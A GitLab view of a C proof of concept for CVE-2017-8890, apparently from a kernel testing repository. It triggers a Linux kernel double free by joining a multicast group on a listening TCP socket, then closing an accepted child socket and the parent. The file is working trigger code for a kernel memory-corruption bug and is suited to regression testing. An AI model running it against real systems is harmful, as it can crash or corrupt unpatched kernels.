Skip to content
Snippets Groups Projects
CVE-2017-8890_PoC.c 3.97 KiB
Newer Older
  • Learn to ignore specific revisions
  • Werner Sembach's avatar
    Werner Sembach committed
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/select.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <string.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <fcntl.h>
    #include <time.h>
    #include <sys/types.h>
    #include <pthread.h>
    #include <net/if.h>
    #include <errno.h>
    #include <assert.h>
    
    #define HELLO_WORLD_SERVER_PORT    6666
    #define LENGTH_OF_LISTEN_QUEUE 1
    #define BUFFER_SIZE 1024
    #define FILE_NAME_MAX_SIZE 512
    
    int server_init = 0;
    int server_finish = 0;
    int client_finish = 0;
    
    void *server(void *arg) {
        struct sockaddr_in server_addr;
        bzero(&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htons(INADDR_ANY);
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
    
        struct group_req group = {0};
        struct sockaddr_in *psin;
    
        psin = (struct sockaddr_in *) &group.gr_group;
        psin->sin_family = AF_INET;
        psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
    
        int server_socket = socket(PF_INET, SOCK_STREAM, 0);
        if (server_socket < 0) {
            printf("[Server]Create Socket Failed!");
            exit(EXIT_FAILURE);
        }
    
        if(setsockopt(server_socket, IPPROTO_IP, MCAST_JOIN_GROUP, &group, sizeof(group))) {
            perror("[Server]Server Socket Join Group Failed!");
            exit(EXIT_FAILURE);
        }
    
        if (bind(server_socket, (struct sockaddr *) &server_addr, sizeof(server_addr))) {
            printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT);
            exit(EXIT_FAILURE);
        }
    
    
        if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) {
            printf("[Server]Server Listen Failed!");
            exit(EXIT_FAILURE);
        }
    
        struct sockaddr_in client_addr;
        socklen_t length = sizeof(client_addr);
    
        server_init = 1;
        printf("[Server]accept..... \n");
        int new_server_socket = accept(server_socket, (struct sockaddr *) &client_addr, &length);
        if (new_server_socket < 0) {
            close(server_socket);
            printf("[Server]Server Accept Failed!\n");
            return NULL;
        }
    
        printf("[Server]close new_server_socket \n");
        close(new_server_socket);
        sleep(5); //there must be a period between 2 close()
        printf("[Server]close socket fd \n");
        close(server_socket);
        server_finish = 1;
        return NULL;
    }
    
    void *client(void *arg) {
        struct sockaddr_in client_addr;
        bzero(&client_addr, sizeof(client_addr));
        client_addr.sin_family = AF_INET;
        client_addr.sin_addr.s_addr = htons(INADDR_ANY);
        client_addr.sin_port = htons(0);
        int client_socket = socket(AF_INET, SOCK_STREAM, 0);
        if (client_socket < 0) {
            printf("[Client]Create socket failed!\n");
            exit(EXIT_FAILURE);
        }
        if (bind(client_socket, (struct sockaddr *) &client_addr, sizeof(client_addr))) {
            printf("[Client] client bind port failed!\n");
            exit(EXIT_FAILURE);
        }
        struct sockaddr_in server_addr;
        bzero(&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        if (inet_aton("127.0.0.1", &server_addr.sin_addr) == 0) {
            printf("[Client]Server IP Address error\n");
            exit(EXIT_FAILURE);
        }
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);
        socklen_t server_addr_length = sizeof(server_addr);
        if (connect(client_socket, (struct sockaddr *) &server_addr, server_addr_length) < 0) {
            printf("[Client]cannot connect to 127.0.0.1!\n");
            exit(EXIT_FAILURE);
        }
        printf("[Client]Close client socket\n");
        close(client_socket);
        client_finish = 1;
    
        return NULL;
    }
    
    int main(int argc, char *argv[]) {
        pthread_t id_server, id_client;
        pthread_create(&id_server, NULL, server, NULL);
        while (!server_init) {
            sleep(1);
        }
        pthread_create(&id_client, NULL, client, NULL);
        while (!server_finish || !client_finish) {
            sleep(1);
        }
        printf("exit...\n");
        return EXIT_SUCCESS;
    }